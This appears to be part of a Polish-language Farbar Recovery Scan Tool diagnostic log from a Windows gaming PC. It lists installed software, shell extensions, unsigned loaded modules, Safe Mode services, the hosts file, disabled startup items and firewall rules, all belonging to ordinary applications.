Python 3.8.5 Core Interpreter (32-bit) (HKLM-x32\...\{31F7FCA7-1F15-48FD-BFB9-91FE58FC2F07}) (Version: 3.8.5150.0 - Python Software Foundation) Hidden
Python 3.8.5 Development Libraries (32-bit) (HKLM-x32\...\{657AEF25-7BC3-4E93-A08C-ECD14E8A74AE}) (Version: 3.8.5150.0 - Python Software Foundation) Hidden
Python 3.8.5 Documentation (32-bit) (HKLM-x32\...\{F7A293EB-21B8-45DE-85A5-8ADEB68B9EFB}) (Version: 3.8.5150.0 - Python Software Foundation) Hidden
Python 3.8.5 Executables (32-bit) (HKLM-x32\...\{F6156224-C882-453A-9046-EFCD31982E68}) (Version: 3.8.5150.0 - Python Software Foundation) Hidden
Python 3.8.5 pip Bootstrap (32-bit) (HKLM-x32\...\{71C0D67F-EF42-4C5C-A2AE-04FD8B38AB1C}) (Version: 3.8.5150.0 - Python Software Foundation) Hidden
Python 3.8.5 Standard Library (32-bit) (HKLM-x32\...\{4D147A72-5C01-47B2-8789-1D1969F6AC32}) (Version: 3.8.5150.0 - Python Software Foundation) Hidden
Python 3.8.5 Tcl/Tk Support (32-bit) (HKLM-x32\...\{653FBD26-2D1A-48C1-AAB1-0AB6F2A3749B}) (Version: 3.8.5150.0 - Python Software Foundation) Hidden
Python 3.8.5 Test Suite (32-bit) (HKLM-x32\...\{DE45C740-8250-4A49-8B81-FE347C70E6BA}) (Version: 3.8.5150.0 - Python Software Foundation) Hidden
Python 3.8.5 Utility Scripts (32-bit) (HKLM-x32\...\{9450D936-1E4F-44EF-A0D4-92C471229B98}) (Version: 3.8.5150.0 - Python Software Foundation) Hidden
Python Launcher (HKLM-x32\...\{CEEAEA02-2472-4BF6-8994-52D6783F5575}) (Version: 3.8.7140.0 - Python Software Foundation)
Razer Synapse (HKLM-x32\...\Razer Synapse) (Version: 3.5.0730.072314 - Razer Inc.)
Realtek Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.8911.1 - Realtek Semiconductor Corp.)
Roblox Player for Oliwer (HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\roblox-player) (Version:  - Roblox Corporation)
Roblox Studio for Oliwer (HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\roblox-studio) (Version:  - Roblox Corporation)
Rockstar Games Launcher (HKLM-x32\...\Rockstar Games Launcher) (Version: 1.0.23.252 - Rockstar Games)
Rockstar Games Social Club (HKLM-x32\...\Rockstar Games Social Club) (Version: 2.0.5.5 - Rockstar Games)
Samsung NVM Express Driver (HKLM-x32\...\{ff94c273-58d5-40b5-b03a-9bd41d5cff1e}) (Version: 3.3.0.2003 - Samsung Electronics)
Samsung NVM Express Driver 3.3.0.2003 (HKLM\...\{89D55DD5-FE94-497B-B5E5-91915D52DBF2}) (Version: 3.3.0.2003 - Samsung Electronics Co., Ltd) Hidden
Service Pack 2 for Microsoft Office 2010 (KB2687455) 64-Bit Edition (HKLM\...\{90140000-003D-0000-1000-0000000FF1CE}_Office14.SingleImage_{A3364707-2F53-4C83-8F68-C9877A9080C7}) (Version:  - Microsoft)
Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)
TeamSpeak (HKLM\...\{1F6B681F-BE0D-4C7B-A22E-80FDC93AF7CF}) (Version: 5.0.0 - TeamSpeak)
TeamSpeak 3 Client (HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\TeamSpeak 3 Client) (Version: 3.5.2 - TeamSpeak Systems GmbH)
Tweaking.com - Windows Repair (HKLM-x32\...\Tweaking.com - Windows Repair) (Version: 4.8.0 - Tweaking.com)
UE4 Prerequisites (x64) (HKLM-x32\...\{4e242cc8-5e3c-4b08-9d55-dbc62ddd1208}) (Version: 1.0.13.0 - Epic Games, Inc.) Hidden
Uplay (HKLM-x32\...\Uplay) (Version: 50.0 - Ubisoft)
VBCABLE, The Virtual Audio Cable (HKLM\...\VB:VBCABLE {87459874-1236-4469}) (Version:  - VB-Audio Software)
VEGAS Pro 17.0 (HKLM\...\{E649B5F0-B27C-11E9-B856-A5146957F833}) (Version: 17.0.284 - VEGAS)
WebM Project Directshow Filters (HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\webmdshow) (Version:  - )
WinRAR 5.90 (64-bit) (HKLM\...\WinRAR archiver) (Version: 5.90.0 - win.rar GmbH)
WinSCP 5.17.5 (HKLM-x32\...\winscp3_is1) (Version: 5.17.5 - Martin Prikryl)
Wireshark 3.2.4 64-bit (HKLM-x32\...\Wireshark) (Version: 3.2.4 - The Wireshark developer community, hxxps://www.wireshark.org)
Xiph.Org Open Codecs 0.85.17777 (HKLM-x32\...\Open Codecs) (Version: 0.85.17777 - Xiph.Org)

Packages:
=========
DirectX -> C:\Program Files\WindowsApps\Microsoft.DirectXRuntime_9.29.952.0_x64__8wekyb3d8bbwe [2020-07-06] (Microsoft Corporation)
DirectX -> C:\Program Files\WindowsApps\Microsoft.DirectXRuntime_9.29.952.0_x86__8wekyb3d8bbwe [2020-07-06] (Microsoft Corporation)
Gaming Services -> C:\Program Files\WindowsApps\Microsoft.GamingServices_2.43.13001.0_x64__8wekyb3d8bbwe [2020-08-02] (Microsoft Corporation)
Intel® Graphics Command Center -> C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.2731.0_x64__8j3eq9eme6ctt [2020-06-09] (INTEL CORP) [Startup Task]
Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x64__8wekyb3d8bbwe [2020-05-27] (Microsoft Corporation) [MS Ad]
Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x86__8wekyb3d8bbwe [2020-05-27] (Microsoft Corporation) [MS Ad]
Microsoft Solitaire Collection -> C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.7.7162.0_x64__8wekyb3d8bbwe [2020-07-23] (Microsoft Studios) [MS Ad]
Minecraft for Windows 10 -> C:\Program Files\WindowsApps\Microsoft.MinecraftUWP_1.15.11.0_x64__8wekyb3d8bbwe [2020-07-01] (Microsoft Studios)
MSN Weather -> C:\Program Files\WindowsApps\Microsoft.BingWeather_4.36.20714.0_x64__8wekyb3d8bbwe [2020-05-27] (Microsoft Corporation) [MS Ad]
NVIDIA Control Panel -> C:\Program Files\WindowsApps\NVIDIACorp.NVIDIAControlPanel_8.1.958.0_x64__56jybvy8sckqj [2020-06-23] (NVIDIA Corp.)
Realtek Audio Control -> C:\Program Files\WindowsApps\RealtekSemiconductorCorp.RealtekAudioControl_1.9.215.0_x64__dt26b99r8h8gj [2020-05-27] (Realtek Semiconductor Corp)
Sea of Thieves -> C:\Program Files\WindowsApps\Microsoft.SeaofThieves_2.94.5064.2_x64__8wekyb3d8bbwe [2020-08-05] (ms-resource:publisherDisplayName)
Spotify Music -> C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1.138.558.0_x86__zpdnekdrzrea0 [2020-08-02] (Spotify AB) [Startup Task]
VLC -> C:\Program Files\WindowsApps\VideoLAN.VLC_3.2.1.0_x64__paz6r1rewnh0a [2020-07-30] (VideoLAN)
WinDbg Preview -> C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2007.6001.0_neutral__8wekyb3d8bbwe [2020-07-10] (Microsoft Corporation)
Xbox -> C:\Program Files\WindowsApps\Microsoft.GamingApp_2007.1001.9.0_x64__8wekyb3d8bbwe [2020-07-10] (Microsoft Corporation) [Startup Task]
Xbox Insider Hub -> C:\Program Files\WindowsApps\Microsoft.FlightDashboard_474.2007.28001.0_x64__8wekyb3d8bbwe [2020-08-02] (Microsoft Corporation)

==================== Niestandardowe rejestracje CLSID (filtrowane): ==============

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

CustomCLSID: HKU\S-1-5-21-1642851741-75968240-96692541-1001_Classes\CLSID\{19A6E644-14E6-4A60-B8D7-DD20610A871D}\InprocServer32 -> C:\Users\Oliwer\AppData\Local\Microsoft\TeamsMeetingAddin\1.0.20091.2\x64\Microsoft.Teams.AddinLoader.dll (Microsoft Corporation -> Microsoft Corporation)
CustomCLSID: HKU\S-1-5-21-1642851741-75968240-96692541-1001_Classes\CLSID\{233525e0-5434-46ef-b464-fd7e45e2e145}\localserver32 -> C:\Program Files (x86)\Intel\Driver and Support Assistant\DSATray.exe (IDSA Production signing key -> Intel)
CustomCLSID: HKU\S-1-5-21-1642851741-75968240-96692541-1001_Classes\CLSID\{5C4D8D77-5B87-40CA-884E-F56858227E5C}\localserver32 -> C:\Program Files\TeamSpeak\notification_helper.exe (TeamSpeak Systems GmbH -> The Chromium Authors)
CustomCLSID: HKU\S-1-5-21-1642851741-75968240-96692541-1001_Classes\CLSID\{CB965DF1-B8EA-49C7-BDAD-5457FDC1BF92}\InprocServer32 -> C:\Users\Oliwer\AppData\Local\Microsoft\TeamsMeetingAddin\1.0.20091.2\x64\Microsoft.Teams.AddinLoader.dll (Microsoft Corporation -> Microsoft Corporation)
ShellIconOverlayIdentifiers: [  OptaneIconOverlay] -> {A3AF6F6C-8BED-3D93-8B5D-33427B5D38E9} => C:\Program Files\Intel\OptaneShellExtensions\OptaneShellExt.dll [2019-12-09] (Intel(R) Rapid Storage Technology -> )
ContextMenuHandlers1: [7-Zip] -> {23170F69-40C1-278A-1000-000100020000} =>  -> Brak pliku
ContextMenuHandlers1: [ANotepad++64] -> {B298D29A-A6ED-11DE-BA8C-A68E55D89593} => C:\Program Files\Notepad++\NppShell_06.dll [2020-04-21] (Notepad++ -> )
ContextMenuHandlers1: [BriefcaseMenu] -> {85BBD920-42A0-1069-A2E4-08002B30309D} =>  -> Brak pliku
ContextMenuHandlers1: [ESET Security Shell] -> {B089FE88-FB52-11D3-BDF1-0050DA34150D} => C:\Program Files\ESET\ESET Security\shellExt.dll [2020-07-23] (ESET, spol. s r.o. -> ESET)
ContextMenuHandlers1: [WinRAR] -> {B41DB860-64E4-11D2-9906-E49FADC173CA} => C:\Program Files\WinRAR\rarext.dll [2020-03-26] (win.rar GmbH -> Alexander Roshal)
ContextMenuHandlers1-x32: [WinRAR32] -> {B41DB860-8EE4-11D2-9906-E49FADC173CA} => C:\Program Files\WinRAR\rarext32.dll [2020-03-26] (win.rar GmbH -> Alexander Roshal)
ContextMenuHandlers2: [ESET Security Shell] -> {B089FE88-FB52-11D3-BDF1-0050DA34150D} => C:\Program Files\ESET\ESET Security\shellExt.dll [2020-07-23] (ESET, spol. s r.o. -> ESET)
ContextMenuHandlers3: [MBAMShlExt] -> {57CE581A-0CB6-4266-9CA0-19364C90A0B3} => C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll [2020-08-02] (Malwarebytes Corporation -> Malwarebytes)
ContextMenuHandlers3: [OptaneContextMenu] -> {AD7EBB13-617D-3270-8FA8-46583499C4FB} => C:\Program Files\Intel\OptaneShellExtensions\OptaneShellExt.dll [2019-12-09] (Intel(R) Rapid Storage Technology -> )
ContextMenuHandlers3: [{4A7C4306-57E0-4C0C-83A9-78C1528F618C}] -> {4A7C4306-57E0-4C0C-83A9-78C1528F618C} =>  -> Brak pliku
ContextMenuHandlers4: [7-Zip] -> {23170F69-40C1-278A-1000-000100020000} =>  -> Brak pliku
ContextMenuHandlers5: [NvCplDesktopContext] -> {3D1975AF-48C6-4f8e-A182-BE0E08FA86A9} => C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_edab19158bdd0d0a\nvshext.dll [2020-07-07] (NVIDIA Corporation -> NVIDIA Corporation)
ContextMenuHandlers6: [BriefcaseMenu] -> {85BBD920-42A0-1069-A2E4-08002B30309D} =>  -> Brak pliku
ContextMenuHandlers6: [ESET Security Shell] -> {B089FE88-FB52-11D3-BDF1-0050DA34150D} => C:\Program Files\ESET\ESET Security\shellExt.dll [2020-07-23] (ESET, spol. s r.o. -> ESET)
ContextMenuHandlers6: [MBAMShlExt] -> {57CE581A-0CB6-4266-9CA0-19364C90A0B3} => C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll [2020-08-02] (Malwarebytes Corporation -> Malwarebytes)
ContextMenuHandlers6: [WinRAR] -> {B41DB860-64E4-11D2-9906-E49FADC173CA} => C:\Program Files\WinRAR\rarext.dll [2020-03-26] (win.rar GmbH -> Alexander Roshal)
ContextMenuHandlers6-x32: [WinRAR32] -> {B41DB860-8EE4-11D2-9906-E49FADC173CA} => C:\Program Files\WinRAR\rarext32.dll [2020-03-26] (win.rar GmbH -> Alexander Roshal)

==================== Codecs (filtrowane) ====================

==================== Skróty & WMI ========================

==================== Załadowane moduły (filtrowane) =============

2019-09-18 04:54 - 2020-04-28 20:09 - 119545856 _____ () [Brak podpisu cyfrowego] C:\Program Files\TeamSpeak\libcef.dll
2019-09-16 07:33 - 2020-04-28 20:09 - 000380416 _____ () [Brak podpisu cyfrowego] C:\Program Files\TeamSpeak\libegl.dll
2019-09-16 07:33 - 2020-04-28 20:09 - 007806464 _____ () [Brak podpisu cyfrowego] C:\Program Files\TeamSpeak\libglesv2.dll
2019-10-21 10:35 - 2020-04-28 20:09 - 000429056 _____ () [Brak podpisu cyfrowego] C:\Program Files\TeamSpeak\soundbackends\windowsaudiosession_win64.dll
2020-04-13 18:20 - 2020-04-13 18:21 - 001322496 _____ () [Brak podpisu cyfrowego] C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.2731.0_x64__8j3eq9eme6ctt\GCP.ML.BackgroundSysTray\x64\e_sqlite3.dll
2019-04-09 10:21 - 2019-04-09 10:21 - 000018432 _____ () [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\libEGL.DLL
2019-04-09 10:21 - 2019-04-09 10:21 - 003572224 _____ () [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\libGLESv2.dll
2020-04-13 18:54 - 2020-06-30 16:46 - 006737920 _____ () [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Roaming\TS3Client\plugins\rp_soundboard_win64.dll
2020-04-21 12:24 - 2020-04-21 12:24 - 002853888 _____ () [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Roaming\TS3Client\plugins\tokovoip_win64.dll
2020-06-09 23:52 - 2020-06-09 23:52 - 039780864 _____ (Intel) [Brak podpisu cyfrowego] C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.2731.0_x64__8j3eq9eme6ctt\IGCC.dll
2020-06-16 17:28 - 2020-06-16 17:28 - 001918464 _____ (SQLite Development Team) [Brak podpisu cyfrowego] C:\Program Files\Intel\SUR\QUEENCREEK\x64\sqlite3.dll
2019-09-17 11:22 - 2020-04-28 20:09 - 000962048 _____ (The Chromium Authors) [Brak podpisu cyfrowego] C:\Program Files\TeamSpeak\chrome_elf.dll
2019-04-09 10:28 - 2019-04-09 10:28 - 000031744 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\imageformats\qgif.dll
2019-04-09 10:29 - 2019-04-09 10:29 - 000397312 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\imageformats\qjpeg.dll
2019-04-10 18:29 - 2019-04-10 18:29 - 000025600 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\imageformats\qsvg.dll
2019-04-09 10:30 - 2019-04-09 10:30 - 001453568 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\platforms\qwindows.dll
2019-05-31 13:05 - 2019-05-31 13:05 - 006130176 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5Core.dll
2019-04-09 10:25 - 2019-04-09 10:25 - 006470656 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5Gui.dll
2019-04-09 10:24 - 2019-04-09 10:24 - 001314816 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5Network.dll
2019-04-10 19:31 - 2019-04-10 19:31 - 000317440 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5Positioning.dll
2019-04-09 10:28 - 2019-04-09 10:28 - 000318464 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5PrintSupport.dll
2019-04-10 18:55 - 2019-04-10 18:55 - 004001792 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5Qml.dll
2019-04-10 18:48 - 2019-04-10 18:48 - 003776000 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5Quick.dll
2019-04-10 18:50 - 2019-04-10 18:50 - 000072704 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5QuickWidgets.dll
2019-04-09 10:23 - 2019-04-09 10:23 - 000205312 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5Sql.dll
2019-04-10 18:29 - 2019-04-10 18:29 - 000332288 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5Svg.dll
2019-04-10 19:40 - 2019-04-10 19:40 - 000113664 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5WebChannel.dll
2019-04-11 03:37 - 2019-04-11 03:37 - 079989760 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5WebEngineCore.dll
2019-04-11 03:54 - 2019-04-11 03:54 - 000228864 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5WebEngineWidgets.dll
2019-04-09 10:27 - 2019-04-09 10:27 - 005580800 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\Qt5Widgets.dll
2019-04-09 10:28 - 2019-04-09 10:28 - 001151488 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\sqldrivers\qsqlite.dll
2019-04-09 10:29 - 2019-04-09 10:29 - 000137216 _____ (The Qt Company Ltd.) [Brak podpisu cyfrowego] C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\styles\qwindowsvistastyle.dll

==================== Alternate Data Streams (filtrowane) ========

==================== Tryb awaryjny (filtrowane) ==================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Wartość "AlternateShell" zostanie przywrócona.)

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AppXSvc => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\BFE => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\BITS => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\camsvc => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\ClipSvc => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\dps => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\LanmanServer => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\LanmanWorkstation => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\lfsvc => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MBAMService => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MpsSvc => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\msiserver => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\NfsClnt => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\SamSs => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\semgrsvc => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\SharedAccess => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\ShellHWDetection => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\TokenBroker => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\TweakingRemoveSafeBoot => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\vss => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WSService => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AppXSvc => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\BITS => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\camsvc => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ClipSvc => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dps => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\lfsvc => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\msiserver => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NfsClnt => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SamSs => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\semgrsvc => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ShellHWDetection => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\simptcp => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\srv => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\srv2 => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\srvnet => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TokenBroker => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TweakingRemoveSafeBoot => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\vss => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WSService => ""="Service"

==================== Powiązania plików (filtrowane) =================

==================== Internet Explorer - Witryny zaufane i z ograniczeniami ==========

==================== Hosts - zawartość: =========================

(Użycie dyrektywy Hosts: w fixlist spowoduje reset pliku Hosts.)

2019-03-19 06:49 - 2020-05-24 11:21 - 000000855 _____ C:\Windows\system32\drivers\etc\hosts
127.0.0.1       localhost

==================== Inne obszary ===========================

(Obecnie brak automatycznej naprawy dla tej sekcji.)

HKLM\System\CurrentControlSet\Control\Session Manager\Environment\\Path -> C:\Program Files (x86)\Razer Chroma SDK\bin;C:\Program Files\Razer Chroma SDK\bin;C:\Program Files (x86)\Razer\ChromaBroadcast\bin;C:\Program Files\Razer\ChromaBroadcast\bin;c:\program files (x86)\common files\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\windows\system32\openssh\;c:\program files\intel\wifi\bin\;c:\program files\common files\intel\wirelesscommon\;c:\program files\nvidia corporation\nvidia nvdlisr;c:\program files\putty\;C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps;C:\Program Files\nodejs\;
HKU\S-1-5-21-1642851741-75968240-96692541-1001\Control Panel\Desktop\\Wallpaper -> C:\Windows\web\wallpaper\Windows\img0.jpg
DNS Servers: 192.168.1.99
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer => (SmartScreenEnabled: )
Zapora systemu Windows [funkcja włączona]

==================== MSCONFIG/TASK MANAGER - Wyłączone elementy ==

(Załączenie wejścia w fixlist spowoduje jego usunięcie.)

MSCONFIG\Services: cFosSpeedS => 2
MSCONFIG\Services: LogiRegistryService => 2
MSCONFIG\Services: Mystic_Light_Service => 2
MSCONFIG\Services: nebula => 2
MSCONFIG\Services: ProtonVPN Service => 3
MSCONFIG\Services: ProtonVPN Update Service => 3
HKLM\...\StartupApproved\StartupFolder: => "AnyDesk.lnk"
HKLM\...\StartupApproved\Run: => "Logitech Download Assistant"
HKLM\...\StartupApproved\Run32: => "Lightshot"
HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\StartupApproved\Run: => "com.squirrel.Teams.Teams"
HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\StartupApproved\Run: => "EpicGamesLauncher"

==================== Reguły Zapory systemu Windows (filtrowane) ================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

FirewallRules: [{92022B14-285E-4FF8-8D8E-268C067004F9}] => (Allow) C:\Program Files\Intel\WiFi\bin\PanDhcpDns.exe (Intel Corporation -> )
FirewallRules: [{D1A2C7F8-426A-46EA-9E93-9587171D1587}] => (Allow) C:\Program Files\Mozilla Firefox\firefox.exe => Brak pliku
FirewallRules: [TCP Query User{3BE7916F-73F1-450F-B656-B631BF40D9FD}C:\program files (x86)\minecraft launcher\runtime\jre-x64\bin\javaw.exe] => (Allow) C:\program files (x86)\minecraft launcher\runtime\jre-x64\bin\javaw.exe
FirewallRules: [UDP Query User{DEB1649F-D63C-40C4-BD52-14717ABC40D7}C:\program files (x86)\minecraft launcher\runtime\jre-x64\bin\javaw.exe] => (Allow) C:\program files (x86)\minecraft launcher\runtime\jre-x64\bin\javaw.exe
FirewallRules: [{885A6D0F-EEB1-462C-9F17-BD29D35B038E}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe (Valve -> Valve Corporation)
FirewallRules: [{2C394E01-8DC6-431A-80C5-F83CA33FE727}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe (Valve -> Valve Corporation)
FirewallRules: [{AD4AE24B-EF41-4123-A748-F7CB95FC1C0E}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe (Valve -> Valve Corporation)
FirewallRules: [{39811575-CC85-4FEB-A83F-098B738ACA92}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe (Valve -> Valve Corporation)
FirewallRules: [{CA804FD4-D8F4-47A7-9400-FAEEFF8B34E9}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\BloonsTD6\BloonsTD6.exe () [Brak podpisu cyfrowego]
FirewallRules: [{DFAFD567-D542-4D02-B391-76BF8C58B95E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\BloonsTD6\BloonsTD6.exe () [Brak podpisu cyfrowego]
FirewallRules: [TCP Query User{F8FB746F-9EE1-404B-AFBA-692D82FFD59D}C:\users\oliwer\appdata\local\microsoft\teams\current\teams.exe] => (Allow) C:\users\oliwer\appdata\local\microsoft\teams\current\teams.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [UDP Query User{504FD61A-7CC1-4634-9516-FEACDE6A87AE}C:\users\oliwer\appdata\local\microsoft\teams\current\teams.exe] => (Allow) C:\users\oliwer\appdata\local\microsoft\teams\current\teams.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [TCP Query User{D9926168-7AA4-4557-819F-EF130DC313D8}C:\program files\android\android studio\jre\bin\java.exe] => (Allow) C:\program files\android\android studio\jre\bin\java.exe => Brak pliku
FirewallRules: [UDP Query User{7CED27F9-1041-448A-B914-434491CB94EA}C:\program files\android\android studio\jre\bin\java.exe] => (Allow) C:\program files\android\android studio\jre\bin\java.exe => Brak pliku
FirewallRules: [TCP Query User{770DAA3C-7B06-43E4-A307-37A83D550135}C:\users\oliwer\appdata\local\teamspeak 3 client\ts3client_win64.exe] => (Allow) C:\users\oliwer\appdata\local\teamspeak 3 client\ts3client_win64.exe (TeamSpeak Systems GmbH -> TeamSpeak Systems GmbH)
FirewallRules: [UDP Query User{8A42A465-D502-48BC-991D-EEB7D8C33147}C:\users\oliwer\appdata\local\teamspeak 3 client\ts3client_win64.exe] => (Allow) C:\users\oliwer\appdata\local\teamspeak 3 client\ts3client_win64.exe (TeamSpeak Systems GmbH -> TeamSpeak Systems GmbH)
FirewallRules: [{0CF5A9CD-EF1A-4189-B392-C73F52FB1D26}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe (Valve -> Valve Corporation)
